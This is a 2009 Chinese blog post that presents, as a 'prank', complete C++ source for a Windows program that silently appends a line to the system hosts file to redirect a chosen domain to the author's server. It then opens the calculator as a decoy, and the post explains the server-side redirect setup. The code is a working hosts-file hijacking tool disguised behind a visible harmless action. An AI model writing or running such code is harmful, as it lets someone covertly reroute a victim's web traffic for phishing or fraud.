jom_ch

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

   这是一个由C++&web结合起来的简单恶搞程序,可以将执行该程序的客户端访问的某个网址跳转到另外一个网址。

 

需要了解的知识点:
1,函数GetFileAttributes返回值列表

 

#define   FILE_ATTRIBUTE_READONLY     0x00000001
#define   FILE_ATTRIBUTE_HIDDEN      0x00000002
#define   FILE_ATTRIBUTE_SYSTEM      0x00000004
#define   FILE_ATTRIBUTE_DIRECTORY     0x00000010
#define   FILE_ATTRIBUTE_ARCHIVE     0x00000020
#define   FILE_ATTRIBUTE_DEVICE      0x00000040
#define   FILE_ATTRIBUTE_NORMAL      0x00000080
#define   FILE_ATTRIBUTE_TEMPORARY     0x00000100
#define   FILE_ATTRIBUTE_SPARSE_FILE    0x00000200
#define   FILE_ATTRIBUTE_REPARSE_POINT    0x00000400
#define   FILE_ATTRIBUTE_COMPRESSED     0x00000800
#define   FILE_ATTRIBUTE_OFFLINE     0x00001000
#define   FILE_ATTRIBUTE_NOT_CONTENT_INDEXED  0x00002000
#define   FILE_ATTRIBUTE_ENCRYPTED     0x00004000

 

2,fstream的方法open()打开文件方式参数列表

 

ios::app:   以追加的方式打开文件
ios::ate:   文件打开后定位到文件尾,ios:app就包含有此属性
ios::binary:  以二进制方式打开文件,缺省的方式是文本方式。
ios::in:    文件以输入方式打开
ios::out:   文件以输出方式打开
ios::nocreate: 不建立文件,所以文件不存在时打开失败 
ios::noreplace:不覆盖文件,所以打开文件时如果文件存在失败
ios::trunc:  如果文件存在,把文件长度设为0 

 

3,给控制台程序添加ico,步骤如下
  将icon图标demo.ico复制到项目目录下面,
  资源文件 -> 添加 -> 添加资源 -> Icon -> 导入 -> demo.ico,保存即可.

 

C++ 源码如下:

 

#include "stdafx.h"
#include <fstream>
#include <string>
#include "windows.h"
using namespace std;

void main(int argc, _TCHAR* argv[])
{

 /*
 HWND hwnd=GetForegroundWindow();
 SendMessage(hwnd,WM_SETICON,ICON_BIG,(LPARAM)LoadIcon(NULL,IDI_QUESTION));
 */

 // 获取host路径
 char SystemDirectory[50];
 GetSystemDirectory(SystemDirectory, 50);

 string stringSystemDirectory = SystemDirectory;
 stringSystemDirectory += "//drivers//etc//hosts";

 if(GetFileAttributes(stringSystemDirectory.c_str()) != FILE_ATTRIBUTE_ARCHIVE)
 {
  return;
 }

 // 备份host文件
 if(!CopyFile(stringSystemDirectory.c_str(),(stringSystemDirectory+".fun.bak").c_str(),true))
 {
  //cout<<"程序发生异常!/n";
  //return;
 }

 /*
 // 读取hosts
 ifstream fin(stringSystemDirectory.c_str());
 string sFileTxt;
 while(!fin.eof())
 {
  sFileTxt += fin.get();
 }
 cout<<sFileTxt;
 */

 string visitdomain = "/n/n/n###################/n192.168.1.1/twww.domain.com/0";
 ofstream fout;
 fout.open(stringSystemDirectory.c_str(),ios::out|ios::app|ios::ate);
 if(fout.is_open())
 {
  fout.write(visitdomain.c_str(),visitdomain.size());
 }

 fout.close();

 // 打开windows计算器
 WinExec("calc.exe", SW_SHOW);

}

 

192.168.1.1服务器端处理
添加虚拟主机www.domain.com,并设置当访问www.domain.com时跳转的网址.

posted on 2009-06-08 11:43  jom_ch  阅读(224)  评论(0编辑  收藏  举报